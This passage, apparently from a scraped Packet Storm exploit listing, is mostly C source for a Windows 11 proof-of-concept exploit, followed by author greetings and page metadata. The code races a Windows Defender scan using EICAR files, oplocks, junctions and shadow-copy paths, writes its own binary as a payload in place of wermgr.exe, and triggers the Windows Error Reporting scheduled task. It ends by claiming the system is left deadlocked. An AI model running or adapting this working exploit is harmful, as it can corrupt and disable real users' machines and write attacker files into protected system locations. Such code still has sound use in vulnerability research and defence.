= { 0 };\\n GetSystemInfo(\\u0026sysinfo);\\n \\n if (sysinfo.dwNumberOfProcessors \\u003e 3) {\\n DWORD tid = 0;\\n CreateThread(NULL, 0, PoseidonGeneratorThread, NULL, 0, \\u0026tid);\\n \\n for (int i = 0; i \\u003c sysinfo.dwNumberOfProcessors; i++) {\\n DWORD tid0 = 0;\\n CreateThread(NULL, 0, PoseidonThread, NULL, 0, \\u0026tid0);\\n }\\n printf(\\”[*] Started %d Poseidon threads.\\\\n\\”, sysinfo.dwNumberOfProcessors);\\n }\\n HANDLE hpipe = CreateNamedPipe(L\\”\\\\\\\\\\\\\\\\.\\\\\\\\pipe\\\\\\\\RoguePlanet\\”, PIPE_ACCESS_DUPLEX, \\n PIPE_WAIT, PIPE_UNLIMITED_INSTANCES, \\n NULL, NULL, NULL, NULL);\\n if (!hpipe || hpipe == INVALID_HANDLE_VALUE) {\\n printf(\\”[!] Failed to create communication pipe, error: %d\\\\n\\”, GetLastError());\\n return 1;\\n }\\n printf(\\”[*] Stage 1: Mounting ISO…\\\\n\\”);\\n HANDLE hvirtdisk = NULL;\\n if (!MountISO(\\u0026hvirtdisk)) {\\n printf(\\”[!] Failed to mount ISO.\\\\n\\”);\\n return 1;\\n }\\n printf(\\”[+] ISO mounted successfully.\\\\n\\”);\\n wchar_t windir2[MAX_PATH] = { 0 };\\n GetWindowsDirectory(windir2, MAX_PATH);\\n \\n HANDLE hwin = CreateFile(windir2, GENERIC_READ, \\n FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, \\n NULL, OPEN_EXISTING, FILE_FLAG_BACKUP_SEMANTICS, NULL);\\n if (!hwin || hwin == INVALID_HANDLE_VALUE) {\\n printf(\\”[!] Failed to open %ws, error: %d\\\\n\\”, windir2, GetLastError());\\n return 1;\\n }\\n printf(\\”[*] Stage 2: Creating working directory structure…\\\\n\\”);\\n \\n wchar_t workdir[MAX_PATH] = { 0 };\\n GUID uid = { 0 };\\n RPC_WSTR wuid = { 0 };\\n UuidCreate(\\u0026uid);\\n UuidToStringW(\\u0026uid, \\u0026wuid);\\n wchar_t* wuid2 = (wchar_t*)wuid;\\n ExpandEnvironmentStrings(L\\”%TEMP%\\\\\\\\RP_\\”, workdir, MAX_PATH);\\n wcscat(workdir, wuid2);\\n \\n if (!CreateDirectory(workdir, NULL)) {\\n printf(\\”[!] Failed to create work directory, error: %d\\\\n\\”, GetLastError());\\n return 1;\\n }\\n SetPriorityClass(GetCurrentProcess(), HIGH_PRIORITY_CLASS);\\n SetThreadPriority(GetCurrentThread(), THREAD_PRIORITY_TIME_CRITICAL);\\n HANDLE hdirtmp = NULL;\\n wchar_t dirtmp[MAX_PATH] = { 0 };\\n wsprintf(dirtmp, L\\”\\\\\\\\??\\\\\\\\%s\\\\\\\\wdtest_temp\\”, workdir);\\n UNICODE_STRING _dirtmp = { 0 };\\n RtlInitUnicodeString(\\u0026_dirtmp, dirtmp);\\n OBJECT_ATTRIBUTES dirtmpobjattr = { 0 };\\n InitializeObjectAttributes(\\u0026dirtmpobjattr, \\u0026_dirtmp, OBJ_CASE_INSENSITIVE, NULL, NULL);\\n IO_STATUS_BLOCK iostat = { 0 };\\n \\n NTSTATUS dirstat = NtCreateFile(\\u0026hdirtmp, GENERIC_READ | GENERIC_WRITE | DELETE | SYNCHRONIZE,\\n \\u0026dirtmpobjattr, \\u0026iostat, NULL, NULL, FILE_SHARE_READ,\\n FILE_CREATE, FILE_DIRECTORY_FILE, NULL, NULL);\\n if (dirstat) {\\n printf(\\”[!] Failed to create working directory: %ws, error: 0x%0.8X\\\\n\\”, dirtmp, dirstat);\\n return 1;\\n }\\n \\n wchar_t wddirname[MAX_PATH] = { 0 };\\n if (!GetWERDir(wddirname)) {\\n return 1;\\n }\\n wchar_t* verdirname = PathFindFileName(wddirname);\\n wsprintf(zippath, L\\”%s\\\\\\\\%s\\\\\\\\wermgr.exe\\”, workdir, verdirname);\\n \\n HANDLE hdir = NULL;\\n wchar_t maindirname[MAX_PATH] = { 0 };\\n wsprintf(maindirname, L\\”\\\\\\\\??\\\\\\\\%s\\\\\\\\%s\\”, workdir, verdirname);\\n UNICODE_STRING _maindirname = { 0 };\\n RtlInitUnicodeString(\\u0026_maindirname, maindirname);\\n OBJECT_ATTRIBUTES maindirobjattr = { 0 };\\n InitializeObjectAttributes(\\u0026maindirobjattr, \\u0026_maindirname, OBJ_CASE_INSENSITIVE, NULL, NULL);\\n iostat = { 0 };\\n \\n dirstat = NtCreateFile(\\u0026hdir, GENERIC_READ | FILE_WRITE_DATA | DELETE, \\n \\u0026maindirobjattr, \\u0026iostat, NULL, NULL, FILE_SHARE_READ,\\n FILE_CREATE, FILE_DIRECTORY_FILE, NULL, NULL);\\n if (dirstat) {\\n printf(\\”[!] Failed to create working directory: %ws, error: 0x%0.8X\\\\n\\”, maindirname, dirstat);\\n return 1;\\n }\\n printf(\\”[*] Stage 3: Writing EICAR test file…\\\\n\\”);\\n \\n wchar_t _mntpath[MAX_PATH] = { 0 };\\n ULONG pathsz = MAX_PATH;\\n DWORD retval = GetVirtualDiskPhysicalPath(hvirtdisk, \\u0026pathsz, _mntpath);\\n if (retval) {\\n printf(\\”[!] Failed to fetch mounted disk path, error: %d\\\\n\\”, retval);\\n return 1;\\n }\\n \\n wchar_t mntpath[MAX_PATH] = { L\\”\\\\\\\\Device\\\\\\\\\\” };\\n wcscat(mntpath, PathFindFileName(_mntpath));\\n \\n HANDLE heicar = WriteEicar(maindirname, mntpath);\\n if (!heicar)\\n return 1;\\n printf(\\”[+] EICAR file written successfully.\\\\n\\”);\\n printf(\\”[*] Stage 4: Triggering Windows Defender scan…\\\\n\\”);\\n \\n SetEvent(g_poseidonevent);\\n \\n DWORD tid = 0;\\n HANDLE hthread = CreateThread(NULL, 0, WDStartScan, NULL, 0, \\u0026tid);\\n if (!hthread) {\\n printf(\\”[!] Failed to create working thread, error: %d\\\\n\\”, GetLastError());\\n return 1;\\n }\\n printf(\\”[+] Windows Defender scan started.\\\\n\\”);\\n printf(\\”[*] Stage 5: Triggering race condition…\\\\n\\”);\\n \\n wchar_t _delpath[MAX_PATH] = { 0 };\\n wsprintf(_delpath, L\\”%s\\\\\\\\wermgr.exe\\”, maindirname);\\n UNICODE_STRING delpath = { 0 };\\n RtlInitUnicodeString(\\u0026delpath, _delpath);\\n OBJECT_ATTRIBUTES delobjattr = { 0 };\\n InitializeObjectAttributes(\\u0026delobjattr, \\u0026delpath, OBJ_CASE_INSENSITIVE, NULL, NULL);\\n IO_STATUS_BLOCK deliostat = { 0 };\\n HANDLE hc = NULL;\\n \\n wchar_t vsspath[MAX_PATH] = { 0 };\\n ShadowCopyFinderThread(vsspath);\\n printf(\\”[*] VSS path: %ws\\\\n\\”, vsspath);\\n \\n CloseHandle(heicar);\\n HANDLE hvss = NULL;\\n wchar_t vsswinpath[MAX_PATH] = { 0 };\\n wsprintf(vsswinpath, L\\”%s\\\\\\\\%s\\\\\\\\%s\\\\\\\\wermgr.exe:WDFOO\\”, vsspath, \\u0026workdir[3], verdirname);\\n UNICODE_STRING _vsswinpath = { 0 };\\n RtlInitUnicodeString(\\u0026_vsswinpath, vsswinpath);\\n OBJECT_ATTRIBUTES objattr2 = { 0 };\\n InitializeObjectAttributes(\\u0026objattr2, \\u0026_vsswinpath, OBJ_CASE_INSENSITIVE, NULL, NULL);\\n iostat = { 0 };\\n \\n NTSTATUS stat = NtCreateFile(\\u0026hvss, GENERIC_READ | SYNCHRONIZE, \\u0026objattr2, \\u0026iostat, \\n NULL, NULL, NULL, FILE_OPEN, NULL, NULL, NULL);\\n \\n REQUEST_OPLOCK_INPUT_BUFFER opin = { 0 };\\n opin.StructureLength = sizeof(opin);\\n opin.StructureVersion = REQUEST_OPLOCK_CURRENT_VERSION;\\n opin.RequestedOplockLevel = OPLOCK_LEVEL_CACHE_READ | OPLOCK_LEVEL_CACHE_HANDLE;\\n opin.Flags = REQUEST_OPLOCK_INPUT_FLAG_REQUEST;\\n REQUEST_OPLOCK_OUTPUT_BUFFER opout = { 0 };\\n opout.StructureLength = sizeof(opout);\\n opout.StructureVersion = REQUEST_OPLOCK_CURRENT_VERSION;\\n DWORD cb = 0;\\n OVERLAPPED ovoplock = { 0 };\\n ovoplock.hEvent = CreateEvent(NULL, FALSE, FALSE, NULL);\\n \\n DeviceIoControl(hvss, FSCTL_REQUEST_OPLOCK, \\u0026opin, sizeof(opin), \\n \\u0026opout, sizeof(opout), \\u0026cb, \\u0026ovoplock);\\n WaitForSingleObject(ovoplock.hEvent, INFINITE);\\n CloseHandle(hvss);\\n NTSTATUS delstat = NtCreateFile(\\u0026hc, DELETE, \\u0026delobjattr, \\u0026deliostat, NULL, NULL,\\n FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE,\\n FILE_SUPERSEDE, NULL, NULL, NULL);\\n MoveToTempDir(hc);\\n if (!CreateJunction(hdir, mntpath))\\n return 1;\\n \\n if (hc)\\n CloseHandle(hc);\\n \\n printf(\\”[*] Stage 6: Monitoring for directory changes…\\\\n\\”);\\n \\n char buff[0x1000] = { 0 };\\n wchar_t teststr[] = { L\\”Temp\\\\\\\\TMP\\” };\\n \\n do {\\n ZeroMemory(buff, sizeof(buff));\\n DWORD retbytes = 0;\\n ReadDirectoryChangesW(hwin, buff, sizeof(buff), TRUE, \\n FILE_NOTIFY_CHANGE_FILE_NAME, \\u0026retbytes, NULL, NULL);\\n PFILE_NOTIFY_INFORMATION pfni = (PFILE_NOTIFY_INFORMATION)buff;\\n if (pfni-\\u003eFileNameLength \/ 2 != 24 || _wcsnicmp(\\u0026pfni-\\u003eFileName[0], teststr, 8) != 0)\\n continue;\\n break;\\n } while (1);\\n printf(\\”[*] Stage 7: Finalizing exploit…\\\\n\\”);\\n \\n wchar_t workdir2[MAX_PATH] = { L\\”\\\\\\\\??\\\\\\\\\\” };\\n wcscat(workdir2, workdir);\\n \\n if (!CreateJunction(hdir, dirtmp)) {\\n return 1;\\n }\\n wchar_t lockpath[MAX_PATH] = { 0 };\\n wsprintf(lockpath, L\\”%s\\\\\\\\wermgr.exe\\”, mntpath);\\n HANDLE hlock1 = NULL;\\n UNICODE_STRING _lockpath = { 0 };\\n RtlInitUnicodeString(\\u0026_lockpath, lockpath);\\n OBJECT_ATTRIBUTES lockpathobjattr = { 0 };\\n InitializeObjectAttributes(\\u0026lockpathobjattr, \\u0026_lockpath, OBJ_CASE_INSENSITIVE, NULL, NULL);\\n iostat = { 0 };\\n \\n CloseHandle(WriteEicar(maindirname, mntpath));\\n \\n stat = NtCreateFile(\\u0026hlock1, GENERIC_READ, \\u0026lockpathobjattr, \\u0026iostat, NULL, FILE_ATTRIBUTE_NORMAL,\\n FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, FILE_OPEN, NULL, NULL, NULL);\\n if (stat) {\\n printf(\\”[!] Failed to open file: %ws, error: 0x%0.8X\\\\n\\”, lockpath, stat);\\n return 1;\\n }\\n \\n if (!LockFile(hlock1, NULL, NULL, MAXDWORD, MAXDWORD)) {\\n printf(\\”[!] Failed to lock file, error: %d\\\\n\\”, GetLastError());\\n return 1;\\n }\\n HANDLE heicar2 = NULL;\\n wchar_t eicarpath[MAX_PATH] = { 0 };\\n wsprintf(eicarpath, L\\”%s\\\\\\\\wermgr.exe\\”, maindirname);\\n UNICODE_STRING _eicarpath = { 0 };\\n RtlInitUnicodeString(\\u0026_eicarpath, eicarpath);\\n OBJECT_ATTRIBUTES eicarpathobjattr = { 0 };\\n InitializeObjectAttributes(\\u0026eicarpathobjattr, \\u0026_eicarpath, OBJ_CASE_INSENSITIVE, NULL, NULL);\\n iostat = { 0 };\\n \\n stat = NtCreateFile(\\u0026heicar2, GENERIC_READ, \\u0026eicarpathobjattr, \\u0026iostat, NULL, FILE_ATTRIBUTE_NORMAL,\\n FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, FILE_OPEN, NULL, NULL, NULL);\\n if (stat) {\\n printf(\\”[!] Failed to open file: %ws, error: 0x%0.8X\\\\n\\”, eicarpath, stat);\\n return 1;\\n }\\n \\n wchar_t newfpath[MAX_PATH] = { 0 };\\n wcscpy(newfpath, maindirname);\\n wcscat(newfpath, L\\”\\\\\\\\\\”);\\n \\n do {\\n ZeroMemory(buff, sizeof(buff));\\n DWORD retbytes = 0;\\n ReadDirectoryChangesW(hdirtmp, buff, sizeof(buff), TRUE, \\n FILE_NOTIFY_CHANGE_SIZE, \\u0026retbytes, NULL, NULL);\\n PFILE_NOTIFY_INFORMATION pfni = (PFILE_NOTIFY_INFORMATION)buff;\\n wcscat(newfpath, \\u0026pfni-\\u003eFileName[0]);\\n break;\\n } while (1);\\n if (!LockFile(heicar2, NULL, NULL, MAXDWORD, MAXDWORD)) {\\n printf(\\”[!] Failed to lock EICAR file, error: %d\\\\n\\”, GetLastError());\\n return 1;\\n }\\n CloseHandle(hwin);\\n \\n REPARSE_GUID_DATA_BUFFER rp_buffer = { 0 };\\n rp_buffer.ReparseTag = IO_REPARSE_TAG_MOUNT_POINT;\\n DWORD cb2 = 0;\\n OVERLAPPED ov = { 0 };\\n HANDLE hevent = CreateEvent(NULL, FALSE, FALSE, NULL);\\n ov.hEvent = hevent;\\n \\n DeviceIoControl(hdir, FSCTL_DELETE_REPARSE_POINT, \\u0026rp_buffer, REPARSE_GUID_DATA_BUFFER_HEADER_SIZE,\\n nullptr, 0, \\u0026cb2, \\u0026ov);\\n CloseHandle(ov.hEvent);\\n \\n printf(\\”[*] Stage 8: Writing payload…\\\\n\\”);\\n \\n HANDLE htempfile = NULL;\\n UNICODE_STRING _newfpath = { 0 };\\n RtlInitUnicodeString(\\u0026_newfpath, newfpath);\\n OBJECT_ATTRIBUTES newfpathobjattr = { 0 };\\n InitializeObjectAttributes(\\u0026newfpathobjattr, \\u0026_newfpath, OBJ_CASE_INSENSITIVE, NULL, NULL);\\n iostat = { 0 };\\n \\n stat = NtCreateFile(\\u0026htempfile, GENERIC_READ | GENERIC_WRITE | DELETE, \\u0026newfpathobjattr, \\u0026iostat,\\n NULL, FILE_ATTRIBUTE_NORMAL, FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE,\\n FILE_OVERWRITE_IF, NULL, NULL, NULL);\\n if (stat) {\\n printf(\\”[!] Failed to open file: %ws, error: 0x%0.8X\\\\n\\”, newfpath, stat);\\n return 1;\\n }\\n \\n HMODULE module = GetModuleHandle(NULL);\\n wchar_t mx[MAX_PATH] = { 0 };\\n GetModuleFileName(module, mx, MAX_PATH);\\n \\n HANDLE hself = CreateFile(mx, GENERIC_READ, FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE,\\n NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);\\n if (!hself || hself == INVALID_HANDLE_VALUE) {\\n printf(\\”[!] Failed to open current executable, error: %d\\\\n\\”, GetLastError());\\n return 1;\\n }\\n \\n DWORD readbytes = 0;\\n LARGE_INTEGER li = { 0 };\\n GetFileSizeEx(hself, \\u0026li);\\n void* exebuff = malloc(li.QuadPart);\\n \\n if (!ReadFile(hself, exebuff, li.QuadPart, \\u0026readbytes, NULL)) {\\n printf(\\”[!] Failed to read current executable binary, error: %d\\\\n\\”, GetLastError());\\n return 1;\\n }\\n CloseHandle(hself);\\n \\n readbytes = 0;\\n OVERLAPPED ovp = { 0 };\\n ovp.hEvent = CreateEvent(NULL, FALSE, FALSE, NULL);\\n \\n if (WriteFile(htempfile, exebuff, li.QuadPart, \\u0026readbytes, \\u0026ovp) == ERROR_IO_PENDING) {\\n printf(\\”[!] Failed to write payload file, error: %d\\\\n\\”, GetLastError());\\n return 1;\\n }\\n WaitForSingleObject(ovp.hEvent, INFINITE);\\n CloseHandle(ovp.hEvent);\\n free(exebuff);\\n \\n printf(\\”[*] Stage 9: Finalizing and detaching…\\\\n\\”);\\n CloseHandle(heicar2);\\n MoveToTempDir(htempfile);\\n MoveToTempDir(hdirtmp);\\n MoveToTempDir(hdir);\\n HANDLE hparent = NULL;\\n UNICODE_STRING _workdir = { 0 };\\n RtlInitUnicodeString(\\u0026_workdir, workdir2);\\n OBJECT_ATTRIBUTES workdirobjattr = { 0 };\\n InitializeObjectAttributes(\\u0026workdirobjattr, \\u0026_workdir, OBJ_CASE_INSENSITIVE, NULL, NULL);\\n iostat = { 0 };\\n \\n stat = NtCreateFile(\\u0026hparent, FILE_WRITE_ATTRIBUTES, \\u0026workdirobjattr, \\u0026iostat, NULL, NULL,\\n FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, FILE_OPEN,\\n FILE_DIRECTORY_FILE, NULL, NULL);\\n if (stat) {\\n printf(\\”[!] Failed to open file: %ws, error: 0x%0.8X\\\\n\\”, workdir2, stat);\\n return 1;\\n }\\n wchar_t __tmp[MAX_PATH] = { 0 };\\n GetWindowsDirectory(__tmp, MAX_PATH);\\n wchar_t dest[MAX_PATH] = { L\\”\\\\\\\\??\\\\\\\\\\” };\\n wcscat(dest, __tmp);\\n \\n if (!CreateJunction(hparent, dest)) {\\n return 1;\\n }\\n CloseHandle(hparent);\\n CloseHandle(hdirtmp);\\n CloseHandle(hdir);\\n DetachVirtualDisk(hvirtdisk, DETACH_VIRTUAL_DISK_FLAG_NONE, NULL);\\n CloseHandle(hvirtdisk);\\n WaitForSingleObject(hthread, INFINITE);\\n CloseHandle(hthread);\\n CloseHandle(htempfile);\\n g_poseidonexit = true;\\n Sleep(500);\\n printf(\\”[*] Stage 11: Triggering persistence…\\\\n\\”);\\n \\n HRESULT hr = S_OK;\\n ITaskService* pTaskSvc = NULL;\\n hr = CoInitialize(NULL);\\n if (SUCCEEDED(hr)) {\\n hr = CoCreateInstance(CLSID_TaskScheduler, NULL, CLSCTX_INPROC_SERVER,\\n IID_ITaskService, (void**)\\u0026pTaskSvc);\\n if (FAILED(hr)) {\\n printf(\\”[!] Failed to initialize task scheduler COM server.\\\\n\\”);\\n CoUninitialize();\\n return 1;\\n }\\n } else {\\n return 1;\\n }\\n hr = pTaskSvc-\\u003eConnect(_variant_t(), _variant_t(), _variant_t(), _variant_t());\\n if (hr) {\\n printf(\\”[!] Failed to connect to task scheduler service, error: 0x%0.8X\\\\n\\”, hr);\\n return 1;\\n }\\n ITaskFolder* taskfolder = NULL;\\n hr = pTaskSvc-\\u003eGetFolder((BSTR)L\\”\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\Windows Error Reporting\\”, \\u0026taskfolder);\\n if (hr) {\\n printf(\\”[!] Failed to get task scheduler folder, error: 0x%0.8X\\\\n\\”, hr);\\n return 1;\\n }\\n IRegisteredTask* taskex = NULL;\\n hr = taskfolder-\\u003eGetTask((BSTR)L\\”QueueReporting\\”, \\u0026taskex);\\n if (hr) {\\n printf(\\”[!] Failed to obtain task object, error: 0x%0.8X\\\\n\\”, hr);\\n return 1;\\n }\\n IRunningTask* runningtask = NULL;\\n hr = taskex-\\u003eRun(_variant_t(), \\u0026runningtask);\\n if (hr) {\\n printf(\\”[!] Failed to run scheduled task, error: 0x%0.8X\\\\n\\”, hr);\\n return 1;\\n }\\n if (!ConnectNamedPipe(hpipe, NULL)) {\\n printf(\\”[!] ConnectNamedPipe failed, error: %d\\\\n\\”, GetLastError());\\n return 1;\\n }\\n printf(\\”\\\\n============================================================\\\\n\\”);\\n printf(\\” [!!] EXPLOIT SUCCESSFUL\\\\n\\”);\\n printf(\\” System should now be in a frozen\/deadlocked state.\\\\n\\”);\\n printf(\\” Some drivers may fail to load on next boot.\\\\n\\”);\\n printf(\\”============================================================\\\\n\\\\n\\”);\\n runningtask-\\u003eRelease();\\n taskex-\\u003eRelease();\\n taskfolder-\\u003eRelease();\\n pTaskSvc-\\u003eRelease();\\n CoUninitialize();\\n return 0;\\n }\\n \\n \\n \\n Greetings to :==============================================================================\\n jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|\\n ============================================================================================”,”sourceHref”:”https:\/\/packetstorm.news\/download\/223817″,”cvss”:{“score”:0,”severity”:”NONE”,”vector”:”NONE”,”version”:”NONE”},”cvss2″:{},”cvss3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””,”cvssV3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””}},”href”:”https:\/\/packetstorm.news\/files\/id\/223817\/”,”category_name”:”Exploit”,”post_link”:””,”product”:””,”version”:””,”vendor”:””,”ai_description”:””,”ai_severity”:””,”ai_vendor”:””,”ai_product”:””,”ai_version”:””,”ai_score”:0}<\/p>\n","protected":false},"excerpt":{"rendered":"
{“lastseen”:”2026-06-18T16:09:22″,”description”:”Proof of concept exploit for a logic-based denial of service vulnerability in Windows 11 25H2 Build 26200 that causes permanent kernel state corruption through ISO…<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[6,8,12,13,33,53,7,11,5],"class_list":["post-64236","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-cve","tag-cvss","tag-exploit","tag-news","tag-none","tag-packetstorm","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"\n